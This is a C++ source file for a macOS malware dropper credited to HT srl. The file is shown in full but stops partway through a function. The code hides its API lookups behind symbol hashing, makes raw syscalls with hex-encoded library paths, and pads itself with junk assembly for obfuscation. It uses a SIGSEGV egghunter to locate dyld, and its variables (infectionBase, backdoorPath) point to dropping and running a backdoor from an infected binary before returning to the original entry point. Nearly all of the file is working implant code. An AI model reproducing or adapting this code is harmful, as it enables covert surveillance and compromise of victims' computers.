RCSMacDropper/RCSMacDropper.cpp
/*
* RCSMac Dropper - Dropper Component
* - API resolution
* - get dyld_image_count/dyld_get_image_name/dyld_get_image_header from
* dyld in memory
* - Look for LC_SYMTAB and get all the symbols from there
* - cycle through all the loaded images in memory looking for libSystem
* - once found, get all the other symbols (c standard library)
* - Same method as dyld -> LC_SYMTAB
* - Get all the resources info, drop the files and execute the RESOURCE_CORE
* - Jump to the original entry point
*
* Created by Alfredo 'revenge' Pesoli on 24/07/2009
* Win32 porting by Massimo Chiodini on 02/11/2009
* Refactored & fixed by Guido Landi on 14/03/2012
* Copyright (C) HT srl 2009. All rights reserved
*
*/
#include <stdio.h>
#include <sys/stat.h>
#include "RCSMacCommon.h"
#include "RCSMacDropper.h"
#define DYLD32_IMAGE_BASE 0x8FE
#define DYLD64_IMAGE_BASE 0x7fff6 // 0000000
#define O_RDWR 0x0002
#define O_CREAT 0x0200
#define O_TRUNC 0x0400
#define O_EXCL 0x0800
#define RTLD_DEFAULT ((void *) - 2)
#define PROT_READ 0x01 // [MC2] pages can be read
#define PROT_WRITE 0x02 // [MC2] pages can be written
#define MAP_SHARED 0x0001 // [MF|SHM] share changes
//#define LOADER_DEBUG
void dropperStart ()
{
int a = 5;
}
void doExit ()
{
#ifdef WIN32
__asm__ __volatile__ {
xor eax,eax
push eax
inc eax
push eax
int 0x80
}
#else
__asm__ __volatile__ (
"xorl %eax, %eax\n"
"push %eax\n"
"inc %eax\n"
"push %eax\n"
"int $0x80\n"
);
#endif
}
static unsigned int
sdbm (unsigned char *str)
{
int c;
unsigned long hash = 0;
while ((c = *str++))
hash = c + (hash << 6) + (hash << 16) - hash;
return hash;
}
unsigned int
findSymbolInFatBinary (byte *imageBase, unsigned int symbolHash)
{
#ifdef LOADER_DEBUG
printf("[ii] findSymbolInFatBinary!\n");
#endif
if (imageBase == 0x0)
{
#ifdef LOADER_DEBUG
printf("[ee] Exiting (imageBase is 0)\n");
#endif
doExit();
}
struct mach_header *mh_header = NULL;
struct load_command *l_command = NULL;
struct nlist *sym_nlist = NULL;
struct symtab_command *sym_command = NULL;
struct segment_command *seg_command = NULL;
struct fat_header *f_header = NULL;
struct fat_arch *f_arch = NULL;
char *symbolName = NULL;
int offset, symbolOffset, stringOffset, x86Offset, found;
unsigned int i, nfat;
__asm {
push eax
pop eax
mov eax, eax
add eax, 0
mov ebx, ebx
push ecx
mov ecx, ecx
pop ecx
}
offset = found = 0;
f_header = (struct fat_header *)imageBase;
__asm {
push eax
pop eax
mov eax, eax
add eax, 0
mov ebx, ebx
push ecx
mov ecx, ecx
pop ecx
}
offset += sizeof (struct fat_header);
nfat = SWAP_LONG (f_header->nfat_arch);
#ifdef LOADER_DEBUG
printf("[ii] magic: %x\n", f_header->magic);
printf("[ii] nFatArch: %d\n", nfat);
#endif
__asm {
push eax
pop eax
mov eax, eax
add eax, 0
mov ebx, ebx
push ecx
mov ecx, ecx
pop ecx
}
for (i = 0; i < nfat; i++)
{
__asm {
push eax
pop eax
mov eax, eax
add eax, 0
mov ebx, ebx
push ecx
mov ecx, ecx
pop ecx
}
f_arch = (struct fat_arch *)(imageBase + offset);
int cpuType = SWAP_LONG (f_arch->cputype);
__asm {
push eax
pop eax
mov eax, eax
add eax, 0
mov ebx, ebx
push ecx
mov ecx, ecx
pop ecx
}
if (cpuType == 0x7)
break;
__asm {
mov eax, eax
push ecx
pop ecx
mov ecx, ecx
}
offset += sizeof (struct fat_arch);
}
x86Offset = SWAP_LONG (f_arch->offset);
#ifdef LOADER_DEBUG
printf ("[ii] x86 offset: %x\n", x86Offset);
#endif
__asm {
push eax
pop eax
mov eax, eax
add eax, 0
mov ebx, ebx
push ecx
mov ecx, ecx
pop ecx
}
offset = x86Offset;
mh_header = (struct mach_header *)(imageBase + offset);
__asm {
push eax
pop eax
mov eax, eax
add eax, 0
mov ebx, ebx
push ecx
mov ecx, ecx
pop ecx
}
offset += sizeof (struct mach_header);
#ifdef LOADER_DEBUG
printf("imageBase in findSymbolFat: %x\n", mh_header);
#endif
#ifdef LOADER_DEBUG
printf("[ii] ncmdsFat: %d\n", mh_header->ncmds);
#endif
for (i = 0; i < mh_header->ncmds; i++)
{
__asm {
push eax
pop eax
mov eax, eax
add eax, 0
mov ebx, ebx
push ecx
mov ecx, ecx
pop ecx
}
l_command = (struct load_command *)(imageBase + offset);
#ifdef LOADER_DEBUG
printf("[ii] cmdFat: %d\n", l_command->cmd);
#endif
if (l_command->cmd == LC_SEGMENT)
{
__asm {
push eax
pop eax
mov eax, eax
add eax, 0
mov ebx, ebx
push ecx
mov ecx, ecx
pop ecx
}
if (found)
{
__asm {
push eax
pop eax
mov eax, eax
add eax, 0
mov ebx, ebx
push ecx
mov ecx, ecx
pop ecx
}
offset += l_command->cmdsize;
__asm {
push eax
pop eax
mov eax, eax
add eax, 0
mov ebx, ebx
push ecx
mov ecx, ecx
pop ecx
}
continue;
}
__asm {
push eax
pop eax
mov eax, eax
add eax, 0
mov ebx, ebx
push ecx
mov ecx, ecx
pop ecx
}
seg_command = (struct segment_command *)(imageBase + offset);
#ifdef LOADER_DEBUG
printf("[ii] segNameFat: %s\n", seg_command->segname);
#endif
if (sdbm ((unsigned char *)seg_command->segname) == linkeditHash)
found = 1;
__asm {
mov eax, eax
push ecx
pop ecx
mov ecx, ecx
}
}
else if (l_command->cmd == LC_SYMTAB)
{
__asm {
push eax
pop eax
mov eax, eax
add eax, 0
mov ebx, ebx
push ecx
mov ecx, ecx
pop ecx
}
sym_command = (struct symtab_command *)(imageBase + offset);
if (found)
break;
__asm {
push eax
pop eax
mov eax, eax
add eax, 0
mov ebx, ebx
push ecx
mov ecx, ecx
pop ecx
}
}
__asm {
push eax
pop eax
mov eax, eax
add eax, 0
mov ebx, ebx
push ecx
mov ecx, ecx
pop ecx
}
offset += l_command->cmdsize;
}
__asm {
push eax
pop eax
mov eax, eax
add eax, 0
mov ebx, ebx
push ecx
mov ecx, ecx
pop ecx
}
symbolOffset = x86Offset + sym_command->symoff;
stringOffset = x86Offset + sym_command->stroff;
#ifdef LOADER_DEBUG
printf("[ii] offsetFat: %x\n", offset);
printf("[ii] stringOffsetFat: %x\n", stringOffset);
printf("[ii] nSymsFat: %d\n", sym_command->nsyms);
#endif
for (i = 0; i < sym_command->nsyms; i++)
{
__asm {
push eax
pop eax
mov eax, eax
add eax, 0
mov ebx, ebx
push ecx
mov ecx, ecx
pop ecx
}
sym_nlist = (struct nlist *)(imageBase + symbolOffset);
symbolOffset += sizeof (struct nlist);
__asm {
push eax
pop eax
mov eax, eax
add eax, 0
mov ebx, ebx
push ecx
mov ecx, ecx
pop ecx
}
if (sym_nlist->n_un.n_strx == 0x0)
{
__asm {
push eax
pop eax
mov eax, eax
add eax, 0
mov ebx, ebx
push ecx
mov ecx, ecx
pop ecx
}
continue;
}
__asm {
mov eax, eax
push ecx
pop ecx
mov ecx, ecx
}
symbolName = (char *)(imageBase + sym_nlist->n_un.n_strx + stringOffset);
__asm {
push eax
pop eax
mov eax, eax
add eax, 0
mov ebx, ebx
push ecx
mov ecx, ecx
pop ecx
}
#ifdef LOADER_DEBUG_VERBOSE
printf ("[ii] SYMBOLFat: %s\n", symbolName);
#endif
if (sdbm((unsigned char *)symbolName) == symbolHash)
{
#ifdef LOADER_DEBUG
printf ("[ii] Symbol Found\n");
printf ("[ii] SYMBOLFat: %s\n", symbolName);
printf ("[ii] addressFat: %x\n", sym_nlist->n_value);
#endif
__asm {
push eax
pop eax
mov eax, eax
add eax, 0
mov ebx, ebx
push ecx
mov ecx, ecx
pop ecx
}
return sym_nlist->n_value;
}
}
return -1;
}
unsigned int
findSymbol_snow (byte *imageBase, unsigned int symbolHash)
{
struct mach_header *mh_header = NULL;
struct load_command *l_command = NULL;
struct nlist *sym_nlist = NULL;
struct symtab_command *sym_command = NULL;
struct segment_command *seg_command = NULL;
char *symbolName = NULL;
int offset, found, stringOffset;
unsigned int hash, i;
offset = found = 0;
mh_header = (struct mach_header *)imageBase;
offset += sizeof (struct mach_header);
for (i = 0; i < mh_header->ncmds; i++)
{
l_command = (struct load_command *)(imageBase + offset);
if (l_command->cmd == LC_SEGMENT)
{
if (found)
{
offset += l_command->cmdsize;
continue;
}
seg_command = (struct segment_command *)(imageBase + offset);
if (sdbm ((unsigned char *)seg_command->segname) == linkeditHash)
found = 1;
}
else if (l_command->cmd == LC_SYMTAB)
{
sym_command = (struct symtab_command *)(imageBase + offset);
if (found)
break;
}
offset += l_command->cmdsize;
}
offset = sym_command->symoff - seg_command->fileoff + seg_command->vmaddr;
stringOffset = sym_command->stroff - seg_command->fileoff + seg_command->vmaddr;
for (i = 0; i < sym_command->nsyms; i++)
{
sym_nlist = (struct nlist *)offset;
offset += sizeof (struct nlist);
symbolName = (char *)(sym_nlist->n_un.n_strx + stringOffset);
hash = sdbm ((unsigned char *)symbolName);
#ifdef LOADER_DEBUG_VERBOSE
printf ("[ii] SYMBOL: %s\n", symbolName);
#endif
if (hash == symbolHash)
{
#ifdef LOADER_DEBUG
printf ("[ii] Symbol Found\n");
printf ("[ii] SYMBOL: %s\n", symbolName);
printf ("[ii] address: %x\n", sym_nlist->n_value);
#endif
return sym_nlist->n_value;
}
}
return -1;
}
unsigned int
findSymbol_mavericks(byte *imageBase, unsigned int symbolHash)
{
unsigned int i, offset, found, textVMAddr;
struct mach_header *mh_header = NULL;
struct load_command *l_command = NULL;
struct segment_command *seg_command = NULL;
struct symtab_command *sym_command = NULL;
struct nlist *sym_nlist = NULL;
mh_header = (struct mach_header *)imageBase;
offset = sizeof(struct mach_header);
for (i=0, found=0; i<mh_header->ncmds; i++)
{
l_command = (struct load_command *) (imageBase + offset);
if (l_command->cmd == LC_SEGMENT)
{
if (!found)
{
seg_command = (struct segment_command *)(imageBase + offset);
if (sdbm((unsigned char *)seg_command->segname) == linkeditHash)
found = 1;
if (sdbm((unsigned char *)seg_command->segname) == 0xd5be1a2d)
textVMAddr = seg_command->vmaddr;
}
}
else if (l_command->cmd == LC_SYMTAB)
{
if (found)
{
sym_command = (struct symtab_command *) (imageBase + offset);
break;
}
}
offset += l_command->cmdsize;
}
if (found == 0 || sym_command == NULL || seg_command == NULL)
return -1;
unsigned int linkeditVmaddr = (seg_command->vmaddr - textVMAddr) + (unsigned int)imageBase;
unsigned int stringOffset = sym_command->stroff - seg_command->fileoff + linkeditVmaddr;
offset = sym_command->symoff - seg_command->fileoff + linkeditVmaddr;
for (i=0; i<sym_command->nsyms; i++)
{
sym_nlist = (struct nlist *)offset;
offset += sizeof (struct nlist);
unsigned char *symbolName = (unsigned char *)(sym_nlist->n_un.n_strx + stringOffset);
if (sdbm(symbolName) == symbolHash)
{
unsigned int sym_offset = sym_nlist->n_value;
return (sym_offset - (0x8FE<<20) + (unsigned int)imageBase);
}
}
return -1;
}
unsigned int
findSymbol_lion(byte *imageBase, unsigned int symbolHash)
{
struct mach_header *mh_header = NULL;
struct load_command *l_command = NULL;
struct nlist *sym_nlist = NULL;
struct symtab_command *sym_command = NULL;
struct segment_command *seg_command = NULL;
char *symbolName = NULL;
int offset, found, stringOffset;
unsigned int hash, i;
offset = found = 0;
mh_header = (struct mach_header *)imageBase;
offset += sizeof (struct mach_header);
for (i = 0; i < mh_header->ncmds; i++)
{
l_command = (struct load_command *)(imageBase + offset);
if (l_command->cmd == LC_SEGMENT)
{
if (found)
{
offset += l_command->cmdsize;
continue;
}
seg_command = (struct segment_command *)(imageBase + offset);
if (sdbm ((unsigned char *)seg_command->segname) == linkeditHash)
{
found = 1;
}
}
else if (l_command->cmd == LC_SYMTAB)
{
sym_command = (struct symtab_command *)(imageBase + offset);
if (found)
{
break;
}
}
offset += l_command->cmdsize;
}
unsigned int linkeditVmaddr;
unsigned int dyldBase;
//
// Fow now we hardcode the vmaddr for the linkedit segment in dyld
// the right thing to do would be parsing the binary on disk
// Parse __TEXT and get vmaddr
// Parse __LINKEDIT and get vmaddr
// __LINKEDIT->vmaddr - __TEXT->vmaddr = memory displacement
// then randomized base + memory displacement = randomized __LINKEDIT position
//
//if (sizeof(long) == 8) // 64bit
//{
//linkeditVmaddr = (unsigned int)imageBase + 0x71000;
//dyldBase = DYLD64_IMAGE_BASE << 40;
//}
if (sizeof(long) == 4) // 32bit
{
linkeditVmaddr = (unsigned int)imageBase + 0x5e000;
dyldBase = DYLD32_IMAGE_BASE << 20;
}
offset = sym_command->symoff - seg_command->fileoff + linkeditVmaddr;
stringOffset = sym_command->stroff - seg_command->fileoff + linkeditVmaddr;
for (i = 0; i < sym_command->nsyms; i++)
{
sym_nlist = (struct nlist *)offset;
offset += sizeof (struct nlist);
symbolName = (char *)(sym_nlist->n_un.n_strx + stringOffset);
hash = sdbm ((unsigned char *)symbolName);
#ifdef DEBUG
printf ("[ii] SYMBOL: %s\n", symbolName);
#endif
if (hash == symbolHash)
{
#ifdef DEBUG
printf ("[ii] Symbol Found\n");
printf ("[ii] SYMBOL: %s\n", symbolName);
printf ("[ii] address: %x\n", sym_nlist->n_value);
#endif
unsigned int sym_offset = sym_nlist->n_value - dyldBase;
sym_offset += (unsigned int)imageBase;
return sym_offset;
}
}
return -1;
}
void *mapLibSystem()
{
//
// since struct stat on win32 is half the size of the unix counterpart
// declare it twice for padding the damn ebp :>
//
struct stat pad;
struct stat mSt;
void *address;
int fd;
int err;
//fd = open("/usr/lib/libSystem.B.dylib", O_RDONLY);
#ifdef WIN32
__asm__ __volatile__ {
sub esp, 0x80
push 0x00006269
push 0x6c79642e
push 0x422e6d65
push 0x74737953
push 0x62696c2f
push 0x62696c2f
push 0x7273752f
mov edx, esp
push 0x0
push edx
xor eax, eax
mov al, 0x5
push eax
int 0x80
mov [fd], eax
}
#else
__asm__ __volatile__ (
"subl $52, %%esp\n"
"pushl $0x00006269\n"
"pushl $0x6c79642e\n"
"pushl $0x422e6d65\n"
"pushl $0x74737953\n"
"pushl $0x62696c2f\n"
"pushl $0x62696c2f\n"
"pushl $0x7273752f\n"
"movl %%esp, %%edx\n"
"pushl $0x0\n"
"pushl %%edx\n"
"xorl %%eax, %%eax\n"
"movb $5, %%al\n"
"pushl %%eax\n"
"int $0x80\n"
"movl %%eax, %0"
:"=m"(fd)
:
);
#endif
if (fd == -1)
return (NULL);
//err = fstat(fd, &st);
#ifdef WIN32
__asm__ __volatile__ {
lea eax, [pad]
mov DWORD PTR [esp+0x4], eax // struct stat
mov eax, [fd]
mov DWORD PTR [esp], eax // fd
xor eax, eax
mov al, 189
push eax
int 0x80
mov [err], eax
}
#else
__asm__ __volatile__ (
"leal %2, %%eax\n"
"movl %%eax, 4(%%esp)\n"
"movl %1, %%eax\n"
"movl %%eax, (%%esp)\n"
"xorl %%eax, %%eax\n"
"movb $189, %%al\n"
"pushl %%eax\n"
"int $0x80\n"
"movl %%eax, %0"
:"=m"(err)
:"m"(fd), "m"(st)
);
#endif
if (err != 0)
return (NULL);
//ret = mmap(0, st.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
#ifdef WIN32
__asm__ __volatile__ {
mov DWORD PTR [esp+24], 0
mov DWORD PTR [esp+20], 0
mov eax, [fd]
mov DWORD PTR [esp+16], eax
mov DWORD PTR [esp+12], 2 // MAP_PRIVATE
mov DWORD PTR [esp+8], 1 // PROT_READ
mov eax, [ebp-0x30] // st.st_size (win ~46 bytes, osx ~96 bytes)
mov DWORD PTR [esp+4], eax
mov DWORD PTR [esp], 0
xor eax, eax
mov al, 197
push eax
int 0x80
mov [address], eax
}
#else
__asm__ __volatile__ (
"movl $0, 24(%%esp)\n"
"movl $0, 20(%%esp)\n"
"movl %2, %%eax\n"
"movl %%eax, 16(%%esp)\n"
"movl $2, 12(%%esp)\n"
"movl $1, 8(%%esp)\n"
"movl %1, %%eax\n"
"movl %%eax, 4(%%esp)\n"
"movl $0, (%%esp)\n"
"xorl %%eax, %%eax\n"
"movb $197, %%al\n"
"pushl %%eax\n"
"int $0x80\n"
"mov %%eax, %0\n"
:"=m"(address)
:"m"(st.st_size), "m"(fd)
);
#endif
return address;
}
void *mapLibDyld()
{
//
// since struct stat on win32 is half the size of the unix counterpart
// declare it twice for padding the damn ebp :>
//
struct stat pad;
struct stat mSt;
void *address;
int fd;
int err;
//fd = open("/usr/lib/system/libdyld.dylib", O_RDONLY);
#ifdef WIN32
__asm__ __volatile__ {
sub esp, 0x84
push 0x00000062
push 0x696c7964
push 0x2e646c79
push 0x6462696c
push 0x2f6d6574
push 0x7379732f
push 0x62696c2f
push 0x7273752f
mov edx, esp
push 0x0
push edx
xor eax, eax
mov al, 0x5
push eax
int 0x80
mov [fd], eax
}
#else
__asm__ __volatile__ (
"subl $52, %%esp\n"
"pushl $0x00006269\n"
"pushl $0x6c79642e\n"
"pushl $0x422e6d65\n"
"pushl $0x74737953\n"
"pushl $0x62696c2f\n"
"pushl $0x62696c2f\n"
"pushl $0x7273752f\n"
"movl %%esp, %%edx\n"
"pushl $0x0\n"
"pushl %%edx\n"
"xorl %%eax, %%eax\n"
"movb $5, %%al\n"
"pushl %%eax\n"
"int $0x80\n"
"movl %%eax, %0"
:"=m"(fd)
:
);
#endif
if (fd == -1)
return (NULL);
//err = fstat(fd, &st);
#ifdef WIN32
__asm__ __volatile__ {
lea eax, [pad]
mov DWORD PTR [esp+0x4], eax // struct stat
mov eax, [fd]
mov DWORD PTR [esp], eax // fd
xor eax, eax
mov al, 189
push eax
int 0x80
mov [err], eax
}
#else
__asm__ __volatile__ (
"leal %2, %%eax\n"
"movl %%eax, 4(%%esp)\n"
"movl %1, %%eax\n"
"movl %%eax, (%%esp)\n"
"xorl %%eax, %%eax\n"
"movb $189, %%al\n"
"pushl %%eax\n"
"int $0x80\n"
"movl %%eax, %0"
:"=m"(err)
:"m"(fd), "m"(st)
);
#endif
if (err != 0)
return (NULL);
//ret = mmap(0, st.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
#ifdef WIN32
__asm__ __volatile__ {
mov DWORD PTR [esp+24], 0
mov DWORD PTR [esp+20], 0
mov eax, [fd]
mov DWORD PTR [esp+16], eax
mov DWORD PTR [esp+12], 2 // MAP_PRIVATE
mov DWORD PTR [esp+8], 1 // PROT_READ
mov eax, [ebp-0x30] // st.st_size (win ~46 bytes, osx ~96 bytes)
mov DWORD PTR [esp+4], eax
mov DWORD PTR [esp], 0
xor eax, eax
mov al, 197
push eax
int 0x80
mov [address], eax
}
#else
__asm__ __volatile__ (
"movl $0, 24(%%esp)\n"
"movl $0, 20(%%esp)\n"
"movl %2, %%eax\n"
"movl %%eax, 16(%%esp)\n"
"movl $2, 12(%%esp)\n"
"movl $1, 8(%%esp)\n"
"movl %1, %%eax\n"
"movl %%eax, 4(%%esp)\n"
"movl $0, (%%esp)\n"
"xorl %%eax, %%eax\n"
"movb $197, %%al\n"
"pushl %%eax\n"
"int $0x80\n"
"mov %%eax, %0\n"
:"=m"(address)
:"m"(st.st_size), "m"(fd)
);
#endif
return address;
}
void *mapLibSystemC()
{
//
// since struct stat on win32 is half the size of the unix counterpart
// declare it twice for padding the damn ebp :>
//
struct stat pad;
struct stat mSt;
void *address;
int fd;
int err;
//fd = open("/usr/lib/system/libsystem_c.dylib", O_RDONLY);
#ifdef WIN32
__asm__ __volatile__ {
sub esp, 0x88
push 0x00000062
push 0x696c7964
push 0x2e635f6d
push 0x65747379
push 0x7362696c
push 0x2f6d6574
push 0x7379732f
push 0x62696c2f
push 0x7273752f
mov edx, esp
push 0x0
push edx
xor eax, eax
mov al, 0x5
push eax
int 0x80
mov [fd], eax
}
#else
__asm__ __volatile__ (
"subl $52, %%esp\n"
"pushl $0x00006269\n"
"pushl $0x6c79642e\n"
"pushl $0x422e6d65\n"
"pushl $0x74737953\n"
"pushl $0x62696c2f\n"
"pushl $0x62696c2f\n"
"pushl $0x7273752f\n"
"movl %%esp, %%edx\n"
"pushl $0x0\n"
"pushl %%edx\n"
"xorl %%eax, %%eax\n"
"movb $5, %%al\n"
"pushl %%eax\n"
"int $0x80\n"
"movl %%eax, %0"
:"=m"(fd)
:
);
#endif
if (fd == -1)
return (NULL);
//err = fstat(fd, &st);
#ifdef WIN32
__asm__ __volatile__ {
lea eax, [pad]
mov DWORD PTR [esp+0x4], eax // struct stat
mov eax, [fd]
mov DWORD PTR [esp], eax // fd
xor eax, eax
mov al, 189
push eax
int 0x80
mov [err], eax
}
#else
__asm__ __volatile__ (
"leal %2, %%eax\n"
"movl %%eax, 4(%%esp)\n"
"movl %1, %%eax\n"
"movl %%eax, (%%esp)\n"
"xorl %%eax, %%eax\n"
"movb $189, %%al\n"
"pushl %%eax\n"
"int $0x80\n"
"movl %%eax, %0"
:"=m"(err)
:"m"(fd), "m"(st)
);
#endif
if (err != 0)
return (NULL);
//ret = mmap(0, st.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
#ifdef WIN32
__asm__ __volatile__ {
mov DWORD PTR [esp+24], 0
mov DWORD PTR [esp+20], 0
mov eax, [fd]
mov DWORD PTR [esp+16], eax
mov DWORD PTR [esp+12], 2 // MAP_PRIVATE
mov DWORD PTR [esp+8], 1 // PROT_READ
mov eax, [ebp-0x30] // st.st_size (win ~46 bytes, osx ~96 bytes)
mov DWORD PTR [esp+4], eax
mov DWORD PTR [esp], 0
xor eax, eax
mov al, 197
push eax
int 0x80
mov [address], eax
}
#else
__asm__ __volatile__ (
"movl $0, 24(%%esp)\n"
"movl $0, 20(%%esp)\n"
"movl %2, %%eax\n"
"movl %%eax, 16(%%esp)\n"
"movl $2, 12(%%esp)\n"
"movl $1, 8(%%esp)\n"
"movl %1, %%eax\n"
"movl %%eax, 4(%%esp)\n"
"movl $0, (%%esp)\n"
"xorl %%eax, %%eax\n"
"movb $197, %%al\n"
"pushl %%eax\n"
"int $0x80\n"
"mov %%eax, %0\n"
:"=m"(address)
:"m"(st.st_size), "m"(fd)
);
#endif
return address;
}
void *mapLibSystemK()
{
//
// since struct stat on win32 is half the size of the unix counterpart
// declare it twice for padding the damn ebp :>
//
struct stat pad;
struct stat mSt;
void *address;
int fd;
int err;
//fd = open("/usr/lib/system/libsystem_kernel.dylib", O_RDONLY);
#ifdef WIN32
__asm__ __volatile__ {
sub esp, 0x92
push 0x00006269
push 0x6c79642e
push 0x6c656e72
push 0x656b5f6d
push 0x65747379
push 0x7362696c
push 0x2f6d6574
push 0x7379732f
push 0x62696c2f
push 0x7273752f
mov edx, esp
push 0x0
push edx
xor eax, eax
mov al, 0x5
push eax
int 0x80
mov [fd], eax
}
#else
__asm__ __volatile__ (
"subl $52, %%esp\n"
"pushl $0x00006269\n"
"pushl $0x6c79642e\n"
"pushl $0x422e6d65\n"
"pushl $0x74737953\n"
"pushl $0x62696c2f\n"
"pushl $0x62696c2f\n"
"pushl $0x7273752f\n"
"movl %%esp, %%edx\n"
"pushl $0x0\n"
"pushl %%edx\n"
"xorl %%eax, %%eax\n"
"movb $5, %%al\n"
"pushl %%eax\n"
"int $0x80\n"
"movl %%eax, %0"
:"=m"(fd)
:
);
#endif
if (fd == -1)
return (NULL);
//err = fstat(fd, &st);
#ifdef WIN32
__asm__ __volatile__ {
lea eax, [pad]
mov DWORD PTR [esp+0x4], eax // struct stat
mov eax, [fd]
mov DWORD PTR [esp], eax // fd
xor eax, eax
mov al, 189
push eax
int 0x80
mov [err], eax
}
#else
__asm__ __volatile__ (
"leal %2, %%eax\n"
"movl %%eax, 4(%%esp)\n"
"movl %1, %%eax\n"
"movl %%eax, (%%esp)\n"
"xorl %%eax, %%eax\n"
"movb $189, %%al\n"
"pushl %%eax\n"
"int $0x80\n"
"movl %%eax, %0"
:"=m"(err)
:"m"(fd), "m"(st)
);
#endif
if (err != 0)
return (NULL);
//ret = mmap(0, st.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
#ifdef WIN32
__asm__ __volatile__ {
mov DWORD PTR [esp+24], 0
mov DWORD PTR [esp+20], 0
mov eax, [fd]
mov DWORD PTR [esp+16], eax
mov DWORD PTR [esp+12], 2 // MAP_PRIVATE
mov DWORD PTR [esp+8], 1 // PROT_READ
mov eax, [ebp-0x30] // st.st_size (win ~46 bytes, osx ~96 bytes)
mov DWORD PTR [esp+4], eax
mov DWORD PTR [esp], 0
xor eax, eax
mov al, 197
push eax
int 0x80
mov [address], eax
}
#else
__asm__ __volatile__ (
"movl $0, 24(%%esp)\n"
"movl $0, 20(%%esp)\n"
"movl %2, %%eax\n"
"movl %%eax, 16(%%esp)\n"
"movl $2, 12(%%esp)\n"
"movl $1, 8(%%esp)\n"
"movl %1, %%eax\n"
"movl %%eax, 4(%%esp)\n"
"movl $0, (%%esp)\n"
"xorl %%eax, %%eax\n"
"movb $197, %%al\n"
"pushl %%eax\n"
"int $0x80\n"
"mov %%eax, %0\n"
:"=m"(address)
:"m"(st.st_size), "m"(fd)
);
#endif
return address;
}
void labelTest ()
{
}
void secondStageDropper (unsigned long args)
{
unsigned int fd;
hijack_context *h_context = (hijack_context *)&args; // "context" saved by pushad
// save registers to restore it later
unsigned long _eax = h_context->eax;
unsigned long _ecx = h_context->ecx;
unsigned long _edx = h_context->edx;
unsigned long _ebx = h_context->ebx;
unsigned long _esp = h_context->esp;
unsigned long _ebp = h_context->ebp;
unsigned long _esi = h_context->esi;
unsigned long _edi = h_context->edi;
int crtStartSize = 54;
const char *imageName = NULL;
void *baseAddress = NULL;
void *libSystemAddress = NULL;
void *dyldBaseAddress = NULL;
int imageCount, z = 0;
void *infectionBase = NULL;
#ifdef WIN32
sigaction new_act = {0};
sigaction old_act = {0};
u32_sigaction sig = {0};
unsigned int sig_handler;
unsigned char file_buffer[1024];
int osx_version, file_handle, read_len, i;
sig_handler = osx_version = file_handle = read_len = i = 0;
__asm__ __volatile__ {
mov eax, [ebp+0x4] // retaddr
sub eax, 0xD3 // infection base is 0xd3 bytes before retaddr
mov [infectionBase], eax
jmp get_pc
init:
pop eax
mov [sig_handler], eax
jmp l_out
get_pc:
call init
// this is weird, depending on some stars allignment the context's
// offset changes and so we just scan the stack for a register we
// know it's not changed by the kernel(ebp)
sig_handler:
mov eax, esp
sig_loop:
add eax, 0x4 // eax == eip subito dopo get_pc
cmp [eax], ebp
jne sig_loop
add eax, 0x4
mov esp, eax
// now esp points to the faulting ESP value
// in the middle of the thread context
sub [esp], 4 // make room for retaddr
mov eax, [esp]
mov ebx, [esp+0xc] // ebx == faulting EIP
add ebx, 8 // add to EIP to jump over CMP & JE of egghunter !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
mov [eax], ebx // save retaddr
// restore registers & return back to the egghunter
mov eax, [esp-0x1c]
mov ebx, [esp-0x18]
mov ecx, [esp-0x14]
mov edx, [esp-0x10]
mov esi, [esp-0xc]
mov edi, [esp-0x8]
mov ebp, [esp-0x4]
mov esp, [esp]
ret
l_out:
}
// FIN QUI TUTTOK
sig.sig_action = 0x41414141;
sig.sig_tramp = sig_handler;
sig.sig_flags = 0x70; // SA_SIGINFO|SA_NODEFER|SA_NOCLDWAIT
// install sig_handler
__asm__ __volatile__ {
lea eax, [sig]
mov eax, eax
push ecx
pop ecx
mov ecx, ecx
push 0x0
push eax // &sig
push 0xb // SIGSEGV
mov eax, eax
push ecx
pop ecx
mov ecx, ecx
mov eax, 0x2e // SYS_sigaction
push eax
int 0x80
add esp, 0x10
}
// egghunter: scans for the first 0xfeedface from
// 0x8fe00000 to 0x8fff0000
__asm__ __volatile__ {
mov eax, 0x8fe00000
l_loop:
cmp DWORD PTR [eax], 0xfeedface // se qui c'e' un exception va a eseguire il sig_handler qui sopra che restora i registri e ritorna due istruzioni dipo.
je found
add eax, 0x1000 // qui ritorna il sig_handler!
cmp eax, 0x8fff1000
jne l_loop
mov DWORD PTR [dyldBaseAddress], 0x0
jmp l_break
found:
mov DWORD PTR [dyldBaseAddress], eax
l_break:
nop
}
char SystemVersion[49] = {'/', 'S', 'y', 's', 't', 'e', 'm', '/', 'L', 'i', 'b', 'r', 'a', 'r', 'y', '/', 'C', 'o', 'r', 'e', 'S', 'e', 'r', 'v', 'i', 'c', 'e', 's', '/', 'S', 'y', 's', 't', 'e', 'm', 'V', 'e', 'r', 's', 'i', 'o', 'n', '.', 'p', 'l', 'i', 's', 't', 0x0};
// find macosx version, si puo' fare con una syscall :)
__asm__ __volatile__ {
push 0
///push [SystemVersion]
lea eax, [SystemVersion]
push eax
mov eax, 0x5
push eax
int 0x80
mov [file_handle], eax
//add esp, 0x40
add esp, 0xc
}
if(file_handle <= 0)
goto OEP_CALL;
// read file
__asm__ __volatile__ {
push 0x400
lea eax, [file_buffer]
push eax
mov eax, [file_handle]
push eax
mov eax, 0x3
push eax
int 0x80
mov [read_len], eax
add esp, 0x10
}
if(read_len <= 0)
goto OEP_CALL;
// homebrew plist parsing FTW!
while(*(unsigned int *)&file_buffer[i++] != 0x696c702f && read_len > i) // "/pli"
if(*(unsigned int *)&file_buffer[i] == 0x2e30313e) // ">10."
{
if (file_buffer[i+4] == 0x36)
osx_version = 1;
else if(file_buffer[i+4] == 0x37 || file_buffer[i+4] == 0x38)
osx_version = 2;
else if (file_buffer[i+4] == 0x39)
osx_version = 3;
break;
}
#else
__asm__ __volatile__ (
"movl 4(%%ebp), %%eax\n"
"subl $0xD2, %%eax\n"
"movl %%eax, %0\n"
: "=m"(baseAddress)
:
);
#endif
#ifndef LOADER_DEBUG
int pid = 0;
char *userHome = NULL;
char *destinationDir = NULL;
char *filePointer = NULL;
char *backdoorPath = NULL;
int backdoorIsAlreadyInstalled = 0;
int errorOnInstall = 0;
unsigned int offset = (unsigned int)(infectionBase) + sizeof (infectionHeader);
infectionHeader *infection = (infectionHeader *)infectionBase;
stringTable *stringList = (stringTable *)offset;
